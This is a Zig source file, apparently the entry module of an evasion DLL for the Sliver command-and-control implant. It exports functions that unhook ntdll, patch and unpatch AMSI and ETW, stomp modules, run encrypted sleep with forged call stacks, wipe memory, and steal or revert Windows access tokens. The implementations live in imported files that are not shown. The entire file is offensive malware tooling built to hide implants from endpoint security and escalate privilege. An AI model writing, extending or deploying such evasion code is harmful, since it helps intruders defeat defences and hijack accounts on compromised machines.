// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass.
// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
// Follows Windows x64 ABI.

const api = @import("api.zig");
const syscall = @import("syscall.zig");
const frames = @import("frames.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");
const sleep = @import("sleep.zig");
const unhook = @import("unhook.zig");
const token = @import("token.zig");

var g_initialized: bool = false;

fn ensure() void {
    if (g_initialized) return;
    g_initialized = true;
    api.ensure();
    _ = syscall.init_syscall();
    frames.init_frames();
}

export fn init_evasion() void {
    ensure();
}

export fn unhook_ntdll() void {
    ensure();
    unhook.unhookNtdll();
}
export fn patch_etw() void {
    ensure();
    etw.patch_etw();
}
export fn patch_amsi() void {
    ensure();
    amsi.patch_amsi();
}

export fn stomp_evasion(base: ?*anyopaque) void {
    ensure();
    _ = stomp.stomp_module(base);
}

export fn is_relocated() bool {
    return stomp.g_evasion_relocated;
}

// Tell the DLL where the host implant's .text is for encrypted sleep.
export fn init_text_region(base: [*]u8, size: usize) void {
    sleep.init_text_region(base, size);
}

// DllMain calls into here from the asm trampoline. Synthetic callstack frames
// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
export fn evasion_sleep_inner(ms: u32) void {
    ensure();
    sleep.evasion_sleep(ms);
}

export fn unpatch_amsi() void {
    ensure();
    amsi.unpatch_amsi();
}
export fn unpatch_etw() void {
    ensure();
    etw.unpatch_etw();
}

export fn wipe_memory(base: [*]u8, size: usize) void {
    @memset(base[0..size], 0);
}

export fn steal_token(pid: u32) bool {
    ensure();
    return token.stealToken(pid);
}

export fn rev2self() bool {
    ensure();
    return token.rev2self();
}
